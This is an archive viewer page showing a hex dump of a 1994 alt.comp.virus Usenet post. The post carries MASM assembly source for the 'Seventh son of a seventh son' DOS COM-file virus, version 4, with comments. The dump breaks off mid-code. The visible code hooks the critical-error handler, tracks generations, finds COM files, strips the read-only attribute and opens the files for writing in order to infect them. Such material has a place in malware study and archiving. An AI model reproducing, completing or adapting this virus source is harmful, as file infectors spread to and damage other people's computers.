home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 7son.asm < prev    next >
Mailbox/MIME Entity  |  1998-01-14  |  7.6 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: 7son.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994", Non-ISO extended-ASCII text, with CRLF, CR line terminators default
100% TrID E-Mail message (Var. 2) default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[CRLF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 54 75 | 65 20 4e 6f 76 20 32 39 |tnews Tu|e Nov 29|
|00000030| 20 30 39 3a 34 32 3a 34 | 38 20 31 39 39 34 0d 0d | 09:42:4|8 1994..|
|00000040| 0a 58 72 65 66 3a 20 6e | 65 74 63 6f 6d 2e 63 6f |.Xref: n|etcom.co|
|00000050| 6d 20 61 6c 74 2e 63 6f | 6d 70 2e 76 69 72 75 73 |m alt.co|mp.virus|
|00000060| 3a 35 30 36 0d 0d 0a 50 | 61 74 68 3a 20 6e 65 74 |:506...P|ath: net|
|00000070| 63 6f 6d 2e 63 6f 6d 21 | 69 78 2e 6e 65 74 63 6f |com.com!|ix.netco|
|00000080| 6d 2e 63 6f 6d 21 6e 65 | 74 6e 65 77 73 0d 0d 0a |m.com!ne|tnews...|
|00000090| 46 72 6f 6d 3a 20 5a 65 | 70 70 65 6c 69 6e 40 69 |From: Ze|ppelin@i|
|000000a0| 78 2e 6e 65 74 63 6f 6d | 2e 63 6f 6d 20 28 4d 72 |x.netcom|.com (Mr|
|000000b0| 2e 20 47 29 0d 0d 0a 4e | 65 77 73 67 72 6f 75 70 |. G)...N|ewsgroup|
|000000c0| 73 3a 20 61 6c 74 2e 63 | 6f 6d 70 2e 76 69 72 75 |s: alt.c|omp.viru|
|000000d0| 73 0d 0d 0a 53 75 62 6a | 65 63 74 3a 20 37 74 68 |s...Subj|ect: 7th|
|000000e0| 20 53 6f 6e 20 56 69 72 | 75 73 0d 0d 0a 44 61 74 | Son Vir|us...Dat|
|000000f0| 65 3a 20 32 39 20 4e 6f | 76 20 31 39 39 34 20 31 |e: 29 No|v 1994 1|
|00000100| 33 3a 30 32 3a 35 39 20 | 47 4d 54 0d 0d 0a 4f 72 |3:02:59 |GMT...Or|
|00000110| 67 61 6e 69 7a 61 74 69 | 6f 6e 3a 20 4e 65 74 63 |ganizati|on: Netc|
|00000120| 6f 6d 0d 0d 0a 4c 69 6e | 65 73 3a 20 32 33 36 0d |om...Lin|es: 236.|
|00000130| 0d 0a 44 69 73 74 72 69 | 62 75 74 69 6f 6e 3a 20 |..Distri|bution: |
|00000140| 77 6f 72 6c 64 0d 0d 0a | 4d 65 73 73 61 67 65 2d |world...|Message-|
|00000150| 49 44 3a 20 3c 33 62 66 | 38 71 33 24 69 61 6a 40 |ID: <3bf|8q3$iaj@|
|00000160| 69 78 6e 65 77 73 31 2e | 69 78 2e 6e 65 74 63 6f |ixnews1.|ix.netco|
|00000170| 6d 2e 63 6f 6d 3e 0d 0d | 0a 52 65 66 65 72 65 6e |m.com>..|.Referen|
|00000180| 63 65 73 3a 20 3c 73 62 | 72 69 6e 67 65 72 44 30 |ces: <sb|ringerD0|
|00000190| 30 79 48 76 2e 48 73 33 | 40 6e 65 74 63 6f 6d 2e |0yHv.Hs3|@netcom.|
|000001a0| 63 6f 6d 3e 20 3c 62 72 | 61 64 6c 65 79 6d 44 30 |com> <br|adleymD0|
|000001b0| 31 31 76 4a 2e 4c 70 38 | 40 6e 65 74 63 6f 6d 2e |11vJ.Lp8|@netcom.|
|000001c0| 63 6f 6d 3e 0d 0d 0a 4e | 4e 54 50 2d 50 6f 73 74 |com>...N|NTP-Post|
|000001d0| 69 6e 67 2d 48 6f 73 74 | 3a 20 69 78 2d 70 61 73 |ing-Host|: ix-pas|
|000001e0| 32 2d 31 30 2e 69 78 2e | 6e 65 74 63 6f 6d 2e 63 |2-10.ix.|netcom.c|
|000001f0| 6f 6d 0d 0d 0a 0d 0d 0a | 3b 2a 2a 2a 2a 2a 2a 2a |om......|;*******|
|00000200| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000210| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000220| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000230| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000240| 0d 0d 0a 2a 2a 2a 2a 2a | 0d 0d 0a 3b 2a 20 20 53 |...*****|...;* S|
|00000250| 65 76 65 6e 74 68 20 73 | 6f 6e 20 6f 66 20 61 20 |eventh s|on of a |
|00000260| 73 65 76 65 6e 74 68 20 | 73 6f 6e 20 20 20 20 76 |seventh |son v|
|00000270| 65 72 73 69 6f 6e 20 34 | 0d 0d 0a 3b 2a 0d 0d 0a |ersion 4|...;*...|
|00000280| 3b 2a 20 20 43 6f 6d 70 | 69 6c 65 20 77 69 74 68 |;* Comp|ile with|
|00000290| 20 4d 41 53 4d 20 34 2e | 30 0d 0d 0a 3b 2a 20 20 | MASM 4.|0...;* |
|000002a0| 28 6f 74 68 65 72 20 61 | 73 73 65 6d 62 6c 65 72 |(other a|ssembler|
|000002b0| 73 20 77 69 6c 6c 20 70 | 72 6f 62 61 62 6c 79 20 |s will p|robably |
|000002c0| 6e 6f 74 20 70 72 6f 64 | 75 63 65 20 74 68 65 20 |not prod|uce the |
|000002d0| 73 61 6d 65 20 72 65 73 | 75 6c 74 29 0d 0d 0a 3b |same res|ult)...;|
|000002e0| 2a 0d 0d 0a 3b 2a 20 20 | 44 69 73 63 6c 61 69 6d |*...;* |Disclaim|
|000002f0| 65 72 3a 0d 0d 0a 3b 2a | 20 20 54 68 69 73 20 66 |er:...;*| This f|
|00000300| 69 6c 65 20 69 73 20 6f | 6e 6c 79 20 66 6f 72 20 |ile is o|nly for |
|00000310| 65 64 75 63 61 74 69 6f | 6e 61 6c 20 70 75 72 70 |educatio|nal purp|
|00000320| 6f 73 65 73 2e 20 54 68 | 65 20 61 75 74 68 6f 72 |oses. Th|e author|
|00000330| 20 74 61 6b 65 73 20 6e | 6f 0d 0d 0a 3b 2a 20 20 | takes n|o...;* |
|00000340| 72 65 73 70 6f 6e 73 69 | 62 69 6c 69 74 79 20 66 |responsi|bility f|
|00000350| 6f 72 20 61 6e 79 74 68 | 69 6e 67 20 61 6e 79 6f |or anyth|ing anyo|
|00000360| 6e 65 20 64 6f 65 73 20 | 77 69 74 68 20 74 68 69 |ne does |with thi|
|00000370| 73 20 66 69 6c 65 2e 20 | 44 6f 20 6e 6f 74 0d 0d |s file. |Do not..|
|00000380| 0a 3b 2a 20 20 6d 6f 64 | 69 66 79 20 74 68 69 73 |.;* mod|ify this|
|00000390| 20 66 69 6c 65 21 0d 0d | 0a 3b 2a 2a 2a 2a 2a 2a | file!..|.;******|
|000003a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000003b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000003c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000003d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000003e0| 2a 0d 0d 0a 2a 2a 2a 2a | 2a 0d 0d 0a 0d 0d 0a 63 |*...****|*......c|
|000003f0| 73 65 67 20 20 20 20 20 | 20 20 20 20 20 20 20 73 |seg | s|
|00000400| 65 67 6d 65 6e 74 0d 0d | 0a 20 20 20 20 20 20 20 |egment..|. |
|00000410| 20 20 20 20 20 20 20 20 | 20 61 73 73 75 6d 65 20 | | assume |
|00000420| 20 63 73 3a 63 73 65 67 | 2c 64 73 3a 63 73 65 67 | cs:cseg|,ds:cseg|
|00000430| 2c 65 73 3a 63 73 65 67 | 2c 73 73 3a 63 73 65 67 |,es:cseg|,ss:cseg|
|00000440| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |...... | |
|00000450| 20 20 20 20 20 20 2e 52 | 41 44 49 58 20 20 31 36 | .R|ADIX 16|
|00000460| 0d 0d 0a 0d 0d 0a 46 49 | 4c 45 4c 45 4e 20 20 20 |......FI|LELEN |
|00000470| 20 20 20 20 20 20 65 71 | 75 20 20 20 20 20 65 6e | eq|u en|
|00000480| 64 20 2d 20 73 74 61 72 | 74 0d 0d 0a 4d 49 4e 54 |d - star|t...MINT|
|00000490| 41 52 47 45 54 20 20 20 | 20 20 20 20 65 71 75 20 |ARGET | equ |
|000004a0| 20 20 20 20 31 30 30 30 | 64 0d 0d 0a 4d 41 58 54 | 1000|d...MAXT|
|000004b0| 41 52 47 45 54 20 20 20 | 20 20 20 20 65 71 75 20 |ARGET | equ |
|000004c0| 20 20 20 20 2d 28 46 49 | 4c 45 4c 45 4e 2b 34 30 | -(FI|LELEN+40|
|000004d0| 29 0d 0d 0a 0d 0d 0a 0d | 0d 0a 0d 0d 0a 3b 2a 2a |).......|.....;**|
|000004e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000004f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000500| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000510| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000520| 2a 2a 2a 2a 2a 0d 0d 0a | 2a 2a 2a 2a 2a 0d 0d 0a |*****...|*****...|
|00000530| 3b 2a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |;* | |
|00000540| 44 75 6d 6d 79 20 70 72 | 6f 67 72 61 6d 20 28 69 |Dummy pr|ogram (i|
|00000550| 6e 66 65 63 74 65 64 29 | 0d 0d 0a 3b 2a 2a 2a 2a |nfected)|...;****|
|00000560| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000570| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000580| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000590| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000005a0| 2a 2a 2a 0d 0d 0a 2a 2a | 2a 2a 2a 0d 0d 0a 0d 0d |***...**|***.....|
|000005b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000005c0| 20 6f 72 67 20 20 20 20 | 20 31 30 30 0d 0d 0a 0d | org | 100....|
|000005d0| 0d 0a 62 65 67 69 6e 3a | 20 20 20 20 20 20 20 20 |..begin:| |
|000005e0| 20 20 64 62 20 20 20 20 | 20 20 34 44 68 20 20 20 | db | 4Dh |
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000600| 20 20 3b 76 69 72 75 73 | 20 6d 61 72 6b 0d 0d 0a | ;virus| mark...|
|00000610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000620| 64 62 20 20 20 20 20 20 | 30 45 39 68 2c 20 34 2c |db |0E9h, 4,|
|00000630| 20 30 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | 0 | |
|00000640| 3b 6a 75 6d 70 20 74 6f | 20 76 69 72 75 73 20 65 |;jump to| virus e|
|00000650| 6e 74 72 79 0d 0d 0a 0d | 0d 0a 0d 0d 0a 3b 2a 2a |ntry....|.....;**|
|00000660| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000670| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000680| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000690| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000006a0| 2a 2a 2a 2a 2a 0d 0d 0a | 2a 2a 2a 2a 2a 0d 0d 0a |*****...|*****...|
|000006b0| 3b 2a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |;* | |
|000006c0| 42 65 67 69 6e 20 6f 66 | 20 74 68 65 20 76 69 72 |Begin of| the vir|
|000006d0| 75 73 0d 0d 0a 3b 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |us...;**|********|
|000006e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000006f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000700| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000710| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 0d 0d 0a |********|*****...|
|00000720| 2a 2a 2a 2a 2a 0d 0d 0a | 0d 0d 0a 73 74 61 72 74 |*****...|...start|
|00000730| 3a 20 20 20 20 20 20 20 | 20 20 20 64 62 20 20 20 |: | db |
|00000740| 20 20 20 30 43 44 68 2c | 20 20 32 30 68 2c 20 30 | 0CDh,| 20h, 0|
|00000750| 2c 20 30 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |, 0.....|. |
|00000760| 20 20 20 20 20 20 20 20 | 20 63 6c 64 0d 0d 0a 20 | | cld... |
|00000770| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00000780| 6f 76 20 20 20 20 20 73 | 69 2c 30 31 30 30 68 0d |ov s|i,0100h.|
|00000790| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000007a0| 20 20 70 75 73 68 20 20 | 20 20 73 69 20 20 20 20 | push | si |
|000007b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000007c0| 20 20 3b 70 75 73 68 20 | 6e 65 77 20 49 50 20 6f | ;push |new IP o|
|000007d0| 6e 20 73 74 61 63 6b 0d | 0d 0a 20 20 20 20 20 20 |n stack.|.. |
|000007e0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|000007f0| 20 20 64 69 2c 73 69 0d | 0d 0a 20 20 20 20 20 20 | di,si.|.. |
|00000800| 20 20 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 | | add |
|00000810| 20 20 73 69 2c 5b 73 69 | 2b 32 5d 20 20 20 20 20 | si,[si|+2] |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 3b 73 69 20 2d 3e | | ;si ->|
|00000830| 20 73 74 61 72 74 0d 0d | 0a 0d 0d 0a 20 20 20 20 | start..|.... |
|00000840| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 | | push|
|00000850| 20 20 20 20 73 69 20 20 | 20 20 20 20 20 20 20 20 | si | |
|00000860| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 72 65 73 | | ;res|
|00000870| 74 6f 72 65 20 6f 72 69 | 67 69 6e 61 6c 20 62 65 |tore ori|ginal be|
|00000880| 67 69 6e 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |gin... | |
|00000890| 20 20 20 20 20 20 6d 6f | 76 73 77 0d 0d 0a 20 20 | mo|vsw... |
|000008a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|000008b0| 76 73 77 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |vsw... | |
|000008c0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 73 69 | po|p si|
|000008d0| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |...... | |
|000008e0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|000008f0| 2c 33 33 30 30 68 20 20 | 20 20 20 20 20 20 20 20 |,3300h | |
|00000900| 20 20 20 20 20 20 3b 67 | 65 74 20 63 74 72 6c 2d | ;g|et ctrl-|
|00000910| 62 72 65 61 6b 20 66 6c | 61 67 0d 0d 0a 20 20 20 |break fl|ag... |
|00000920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 | | int|
|00000930| 20 20 20 20 20 32 31 0d | 0d 0a 20 20 20 20 20 20 | 21.|.. |
|00000940| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|00000950| 20 20 64 78 0d 0d 0a 0d | 0d 0a 20 20 20 20 20 20 | dx....|.. |
|00000960| 20 20 20 20 20 20 20 20 | 20 20 63 77 64 20 20 20 | | cwd |
|00000970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000980| 20 20 20 20 20 20 20 20 | 20 20 3b 63 6c 65 61 72 | | ;clear|
|00000990| 20 74 68 65 20 66 6c 61 | 67 0d 0d 0a 20 20 20 20 | the fla|g... |
|000009a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 63 20 | | inc |
|000009b0| 20 20 20 20 61 78 0d 0d | 0a 20 20 20 20 20 20 20 | ax..|. |
|000009c0| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|000009d0| 20 61 78 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | ax... | |
|000009e0| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 | in|t 21|
|000009f0| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |...... | |
|00000a00| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00000a10| 2c 33 35 32 34 68 20 20 | 20 20 20 20 20 20 20 20 |,3524h | |
|00000a20| 20 20 20 20 20 20 3b 67 | 65 74 20 69 6e 74 32 34 | ;g|et int24|
|00000a30| 20 76 65 63 74 6f 72 0d | 0d 0a 20 20 20 20 20 20 | vector.|.. |
|00000a40| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 | | int |
|00000a50| 20 20 32 31 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | 21... | |
|00000a60| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 | p|ush b|
|00000a70| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |x... | |
|00000a80| 20 20 20 20 70 75 73 68 | 20 20 20 20 65 73 0d 0d | push| es..|
|00000a90| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00000aa0| 20 20 20 20 6c 65 61 20 | 20 20 20 20 64 78 2c 5b | lea | dx,[|
|00000ab0| 73 69 2b 28 6f 66 66 73 | 65 74 20 6e 69 32 34 20 |si+(offs|et ni24 |
|00000ac0| 2d 20 30 31 30 34 29 5d | 20 20 3b 73 65 74 20 6e |- 0104)]| ;set n|
|00000ad0| 65 77 20 69 6e 74 32 34 | 20 0d 0d 0a 76 65 63 74 |ew int24| ...vect|
|00000ae0| 6f 72 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |or... | |
|00000af0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00000b00| 32 35 68 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |25h... | |
|00000b10| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 61 78 | pu|sh ax|
|00000b20| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000b30| 20 20 20 69 6e 74 20 20 | 20 20 20 32 31 0d 0d 0a | int | 21...|
|00000b40| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000b50| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 32 46 | mov | ah,2F|
|00000b60| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00000b70| 20 20 20 3b 67 65 74 20 | 44 54 41 20 61 64 72 65 | ;get |DTA adre|
|00000b80| 73 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |s... | |
|00000b90| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 0d 0d | int | 21..|
|00000ba0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000bb0| 20 70 75 73 68 20 20 20 | 20 65 73 0d 0d 0a 20 20 | push | es... |
|00000bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00000bd0| 73 68 20 20 20 20 62 78 | 0d 0d 0a 0d 0d 0a 20 20 |sh bx|...... |
|00000be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 61 64 | | ad|
|00000bf0| 64 20 20 20 20 20 64 78 | 2c 30 37 30 68 20 20 20 |d dx|,070h |
|00000c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 73 | | ;s|
|00000c10| 65 74 20 6e 65 77 20 44 | 54 41 20 61 64 72 65 73 |et new D|TA adres|
|00000c20| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000c30| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 31 41 | mov | ah,1A|
|00000c40| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h... | |
|00000c50| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 0d 0d | int | 21..|
|00000c60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000c70| 20 61 64 64 20 20 20 20 | 20 64 78 2c 31 45 68 0d | add | dx,1Eh.|
|00000c80| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000c90| 20 20 70 75 73 68 20 20 | 20 20 64 78 0d 0d 0a 0d | push | dx....|
|00000ca0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000cb0| 20 20 6c 65 61 20 20 20 | 20 20 64 69 2c 5b 73 69 | lea | di,[si|
|00000cc0| 2b 28 6f 66 66 73 65 74 | 20 67 65 6e 65 72 61 74 |+(offset| generat|
|00000cd0| 69 6f 6e 2d 30 31 30 34 | 29 5d 20 20 3b 63 68 65 |ion-0104|)] ;che|
|00000ce0| 63 6b 20 0d 0d 0a 67 65 | 6e 65 72 61 74 69 6f 6e |ck ...ge|neration|
|00000cf0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000d00| 20 20 20 63 6d 70 20 20 | 20 20 20 5b 64 69 5d 2c | cmp | [di],|
|00000d10| 30 37 30 37 68 0d 0d 0a | 20 20 20 20 20 20 20 20 |0707h...| |
|00000d20| 20 20 20 20 20 20 20 20 | 6a 6e 65 20 20 20 20 20 | |jne |
|00000d30| 76 65 72 64 65 72 0d 0d | 0a 0d 0d 0a 20 20 20 20 |verder..|.... |
|00000d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 6c 65 61 20 | | lea |
|00000d50| 20 20 20 20 64 78 2c 5b | 64 69 2b 32 5d 20 20 20 | dx,[|di+2] |
|00000d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 37 74 68 | | ;7th|
|00000d70| 20 73 6f 6e 20 6f 66 20 | 61 20 37 74 68 20 73 6f | son of |a 7th so|
|00000d80| 6e 21 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |n!... | |
|00000d90| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00000da0| 30 39 68 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |09h... | |
|00000db0| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 | in|t 21|
|00000dc0| 0d 0d 0a 0d 0d 0a 76 65 | 72 64 65 72 3a 20 20 20 |......ve|rder: |
|00000dd0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00000de0| 2c 5b 64 69 5d 20 20 20 | 20 20 20 20 20 20 20 20 |,[di] | |
|00000df0| 20 20 20 20 20 20 3b 75 | 70 64 61 74 65 20 67 65 | ;u|pdate ge|
|00000e00| 6e 65 72 61 74 69 6f 6e | 73 0d 0d 0a 20 20 20 20 |neration|s... |
|00000e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 78 63 68 67 | | xchg|
|00000e20| 20 20 20 20 61 68 2c 61 | 6c 0d 0d 0a 20 20 20 20 | ah,a|l... |
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000e40| 20 20 20 20 61 6c 2c 31 | 0d 0d 0a 20 20 20 20 20 | al,1|... |
|00000e50| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00000e60| 20 20 20 5b 64 69 5d 2c | 61 78 0d 0d 0a 0d 0d 0a | [di],|ax......|
|00000e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e80| 6c 65 61 20 20 20 20 20 | 64 78 2c 5b 64 69 2b 33 |lea |dx,[di+3|
|00000e90| 33 64 5d 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3d] | |
|00000ea0| 3b 66 69 6e 64 20 66 69 | 72 73 74 20 43 4f 4d 2d |;find fi|rst COM-|
|00000eb0| 66 69 6c 65 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |file... | |
|00000ec0| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 63 | x|or c|
|00000ed0| 78 2c 63 78 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |x,cx... | |
|00000ee0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00000ef0| 68 2c 34 45 68 0d 0d 0a | 69 6e 66 6c 6f 6f 70 3a |h,4Eh...|infloop:|
|00000f00| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 | |int |
|00000f10| 32 31 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |21... | |
|00000f20| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 78 0d | pop| dx.|
|00000f30| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000f40| 20 20 6a 63 20 20 20 20 | 20 20 73 74 6f 70 0d 0d | jc | stop..|
|00000f50| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00000f60| 20 20 20 20 70 75 73 68 | 20 20 20 20 64 78 0d 0d | push| dx..|
|00000f70| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00000f80| 20 20 20 20 78 6f 72 20 | 20 20 20 20 63 78 2c 63 | xor | cx,c|
|00000f90| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00000fa0| 20 20 20 20 3b 63 6c 65 | 61 72 20 0d 0d 0a 72 65 | ;cle|ar ...re|
|00000fb0| 61 64 2d 6f 6e 6c 79 2d | 61 72 74 74 72 69 62 75 |ad-only-|arttribu|
|00000fc0| 74 65 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |te... | |
|00000fd0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00000fe0| 34 33 30 31 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |4301... | |
|00000ff0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00001000| 31 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |1... | |
|00001010| 20 20 20 20 6a 63 20 20 | 20 20 20 20 72 65 74 75 | jc | retu|
|00001020| 72 6e 31 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |rn1.....|. |
|00001030| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001040| 20 61 78 2c 33 44 30 32 | 68 20 20 20 20 20 20 20 | ax,3D02|h |
|00001050| 20 20 20 20 20 20 20 20 | 20 3b 6f 70 65 6e 20 74 | | ;open t|
|00001060| 68 65 20 66 69 6c 65 0d | 0d 0a 20 20 20 20 20 20 |he file.|.. |
|00001070| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 | | int |
|00001080| 20 20 32 31 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | 21... | |
|00001090| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 72 | j|c r|
